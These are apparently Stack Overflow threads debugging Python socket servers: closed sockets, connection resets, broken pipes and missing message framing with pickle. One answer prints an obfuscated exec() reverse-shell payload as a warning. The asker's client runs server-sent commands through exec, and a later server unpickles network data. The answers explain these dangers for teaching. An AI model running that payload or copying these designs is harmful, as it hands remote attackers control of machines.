Questions
What is the reason for the exception?
Did the client cause any errors?
If at all possible, please explain other errors.
Background
I am creating a Python GUI socket Server. When a client connects to my server, the GUI window will open (I am still working on this). But, when a client does connect, I get an error:
Unhandled exception in thread started by <function clientthread at 0x10246c230>
Since the actual script is rather long, I have provided a pastebin link.
Here is the thread code. s is the name of my socket object.
def clientthread(s):
#Sending message to connected client
#This only takes strings (words
s.send("Welcome to the server. Type something and hit enter\n")
#loop so that function does not terminate and the thread does not end
while True:
#Receiving from client
data = s.recv(1024)
if not data:
break
s.sendall(data)
print data
s.close()
Traceback
Thanks for the suggestion Morten. Here is the traceback.
Socket Created
Socket Bind Complete
Socket now listening
Connected
Traceback (most recent call last):
File "/Users/BigKids/Desktop/Coding/Python 2/Sockets/Function/Server GUI Alpha Function.py", line 80, in clientthread
s.send("Welcome to the server. Type something and hit enter\n")
File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/socket.py", line 170, in _dummy
raise error(EBADF, 'Bad file descriptor')
error: [Errno 9] Bad file descriptor
Personally, I believe that many errors are due to the GUI.
Thanks!
For one, you could catch the exception, print it and see what it is :)
Do this, for instance by surrounding it all with a try/except clause and printing whatever exception occurs.
def clientthread(s):
try:
#Sending message to connected client
#This only takes strings (words
s.send("Welcome to the server. Type something and hit enter\n")
#loop so that function does not terminate and the thread does not end
while True:
#Receiving from client
data = s.recv(1024)
if not data:
break
s.sendall(data)
print data
s.close()
except Exception:
import traceback
print traceback.format_exc()
I'm guessing the reason for this is client disconnect. This will cause an exception and you should handle it appropriately. If a client can disconnect in many ways. By telling you, by timing out, by dropping the connection while you're trying to send something etc.
All these scenarios are plausible exception cases, and you should test for them and handle them. Hopefully this will help you move on, if not, please comment :)
Related
I recently learnt socket library in python. I'm coding a game's multiplayer server but before coding the whole multiplayer server I decided to code a small server just for seeing how a server works in python. When I coded the server it was awkward that my code was working fine when I ran the client and server on my own windows 10 computer , it connected and did it's work(it's work is two get the IP from hostname, but the client will send hostname and the code for getting IP is executed in the server and sent back to the client) but when I shared the client file with my friend then the client and server did not connect, there was no error message or something else, firewall is not blocking any connections, so why aren't they connecting? Here's the code in the server file(The print statements are just for making a loading bar effect):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
And the code in the client:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(ignore the commented code, I just kept it so I can copy it in other files when needed)
ADDITIONAL INFO(which I missed before): In the client.py file, you'll see the last few lines are a try and except OSError block. I added this block because I don't know why but when I run the client, I get this error:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
When I hide this error using the try and except blocks, there's no difference, the client works fine without showing any problems. Does anyone know why is this happening?
An operation was attempted on something that is not a socket usually means that you're attempting to do operations on a closed socket. I haven't run your code, but what I believe is happening is you have your server sending a single command to the client, then instructing the client to close. The client however attempts to accept infinite messages from the server; even after the client's socket has been closed.
Either have the client only accept a single message, or stop having the server tell the client to close itself.
I'd change the client code to something like this:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
And now the client can press ctrl+c to close itself when it wants to exit.
Also, do not ever use exec like you are; especially without checking what you're about to execute. If the server was ever compromised, or the server owner became malicious, or if you swapped it and had the client send commands to the server, you're opening yourself up to having the machine running exec to become compromised. If the sending end of the socket sent code like this for example:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
This would cause the exec'ing computer to start up a reverse TCP shell, and give control of their computer to the other machine! The other end would then be able to do anything they want on your computer (or, at least whatever they have the access rights to do).
You should never really ever use eval or exec unless it's used in a place where user's code will never enter it. Feeding user input directly into exec is extraordinarily dangerous and should be avoided at all costs.
In my Python program I have a socket listening to incoming connections and when I run nmap on it, it closes abruptly as it resets the connection when scanning the port.
I tried putting an except: pass block on the end of my code, along with the following:
if __name__ == "__main__":
try:
listen()
except KeyboardInterrupt:
pass
But upon receiving the connection reset, it doesn't pass. It just closes the program without printing anything.
How might I solve this?
The server-side code responsible for receiving and next to it, the handling of info. Should I put something after the while block, or just an except?
connection.listen(10)
while True:
current_connection, address = connection.accept()
current_connection.send('Input:')
while True:
data = current_connection.recv(2048)
The error:
Traceback (most recent call last):
File "server.py", line 41, in <module>
listen()
File "server.py", line 12, in listen
current_connection.send('Input:')
socket.error: [Errno 104] Connection reset by peer
The way your code is structured, if you put an except: pass at the top-level, then when the exception occurs, it's only trapped at the top level and there's nothing in your code to cause it go back into your listen..accept code. You should instead trap the exception at the right spot in the code so that your code continues the outer while True loop.
In general. it's a good idea to place all socket operations that might ordinarily fail inside a try-except block. It's considered bad practice in python to have a bare except though -- as a bare except tends to hide errors in your code that should not be hidden. Hence, you'll typically do something like this:
connection.listen(10)
while True:
current_connection, address = connection.accept()
try:
current_connection.sendall('Input:')
while True:
data = current_connection.recv(2048)
if data == '':
break # End of file (peer socket was closed)
except socket.error as sockerr:
print("Socket exception on send/recv", sockerr)
current_connection.close()
Also, note that I replaced send with sendall. This ensures that the entire string will get sent. (With send, it's valid in some circumstances for fewer bytes to be sent than the entire string.)
I've run in to a strange problem in a multiplayer online game I'm developing.
When the user clicks "Accept Quest" on the client, it performs the following action:
packet = "A:io-QS#"
tcpClient.send(packet.encode('utf-8'))
On the server, there is a thread created for each client that handles sending/receiving data:
while (client[self.id].authenticated == True):
try:
data = (self.connection.recv(1024)).decode('utf-8')
client[self.id].lastPacketTime = time.time()
client[self.id].processData(data)
except:
print("Client disconnected due to data receive error")
client[self.id].saveDataToDatabase()
client[self.id].authenticated = False
client[self.id].loggedIn = False
If the server receives the packet "A:io-QS#", it throws an exception and disconnects the client. I modified the client code mentioned aboe to send the packet "M:w#" (directional movement packet) and it doesn't throw an exception,
Only when the packet is "A:io-QS#".
The packet size isn't a concern (a much larger packet containing login credentials passes through this server loop just fine).
I tried commenting out the "client[self.id].processData(data)" line and the exception still occurs (but only with the packet 'A:io-QS#').
The server throws an exception after receiving the data but before acting upon it, so it's not a logic error.
I'm at a bit of a loss, does anybody see anything I'm missing or have any recommendations on how I could test this issue further?
Thanks!
I suggest using sys.exc_info() in the except block in the server to find more about the exception.
I have a python program where I use a server socket to send data. There is a class which has some Threading methods. Each method checks a queue and if the queue is not empty, it sends the data over the sever socket. Queues are being filled with what clients send to server(server is listening for input requests). Sending is accomplished with a method call:
def send(self, data):
self.sqn += 1
try:
self.clisock.send(data)
except Exception, e:
print 'Send packet failed with error: ' + e.message
When the program starts, sending rate is around 500, but after a while it decreases instantly to 30 with this exception:
Send packet failed with error: <class 'socket.error'>>>[Errno 32] Broken pipe
I don't know what causes the rate to increase! Any idea?
That error is from your send function trying to write to a socket closed on the other side. If that is intended then catch the exception using
import errno, socket
try:
self.clisock.send(data)
except socket.error, err:
if err[0] == errno.EPIPE:
# do something
else:
pass # do something else
If this isn't intended behavior on the part of the client then you'll have to update your post with the corresponding client code.
I have made 2 application:
The client extract data from a sql server (10k lines), and send every line pickled to a "collector" server via socket.
The server uses twisted (this is mandatory) and receive every line, unpikle it and store the data in another sql server.
Everytime i start sending data from client to server, in the first 200 line (everytime a different line) the server throws an exception:
SOMETIMES it something like:
Traceback (most recent call last):
File "collector2.py", line 81, in dataReceived
self.count,account = pickle.loads(data)
File "/usr/lib/python2.6/pickle.py", line 1374, in loads
return Unpickler(file).load()
File "/usr/lib/python2.6/pickle.py", line 858, in load
dispatch[key](self)
File "/usr/lib/python2.6/pickle.py", line 1138, in load_pop
del self.stack[-1]
IndexError: list assignment index out of range
But it's NOT every time the same. Printing my exception i red:
Exception: pop from empty list
Exception: list index out of range
Exception: "'"
Exception: list assignment index out of range
Another strange errors is:
File "/usr/lib/python2.6/pickle.py", line 1124, in find_class
import(module)
exceptions.ImportError: No module named ond'
for i in listaSAI:
crm={}
try:
crm['uid']=i[0]
except:
crm['uid']=None
try:
crm['type_cond']=i[01]
except:
crm['type_cond']=None
try:
crm['population_id']=i[2]
except:
crm['population_id']=None
try:
crm['product_id']=i[3]
except:
crm['product_id']=None
try:
crm['a_id']=i[4]
except:
crm['a_id']=None
try:
crm['status']=i[5]
except:
crm['status']=None
#time.sleep(0.001)
serialized = pickle.dumps((count,crm))
#print "sent num", count, crm
s.sendall(serialized)
count += 1
And my server:
def dataReceived(self, data):
try:
self.count,account = pickle.loads(data)
except Exception as e:
print "Eccezione:", e
print self.count+1
print "DISAGIO", data
print traceback.print_exc()
Printing the data in my client tells me that everything it's ok.
If i try to slow down the process of sending using time.sleep(0.01) in my client, EVERYTHING IS FINE, and no exception are raised.
What can i do to debug my code?
p.s.
I suspect that exceptions.ImportError: No module named ond' refers to "type_cond" key in crm.
Since you have no problem when adding a delay between writes, it is clear the problem is not related to pickle, but to the transport of the data.
One option is that the client keeps writing data to the socket faster than the server can process it, resulting in buffer overflow and packet loss.
Or, do you have more than one thread writing to the socket potentially at the same time?
Your protocol has no framing, and you're trying to use a SOCK_STREAM (TCP connection) as if it were datagram-oriented (ie, as a SOCK_DGRAM, like UDP).
So you send some bytes that make up a complete pickled dataset, but the server has no idea where a particular pickle dataset begins or ends. Instead, the receiving code tries to unpickle whatever random chunk of bytes happens to be delivered to it.
As you've discovered, this works sometimes. However, there is no guarantee that the bytes you pass to sock.sendall will be delivered as a single group to dataReceived. You have to add framing so the receiver can discover message boundaries. There are several approaches to this. One approach is to add a length prefix. Then the receiver knows how many bytes to wait for and can unpickle them when it has received the correct number.
Of course, you should never ever unpickle data received over the network. See the big red box on http://docs.python.org/2/library/pickle.html? It's there because if you write a server like the one you're showing here, then you've written a server with a remote arbitrary code vulnerability in it big enough to drive a semi through.
Since your data seems fairly simple and structured, I suggest taking a look at AMP instead.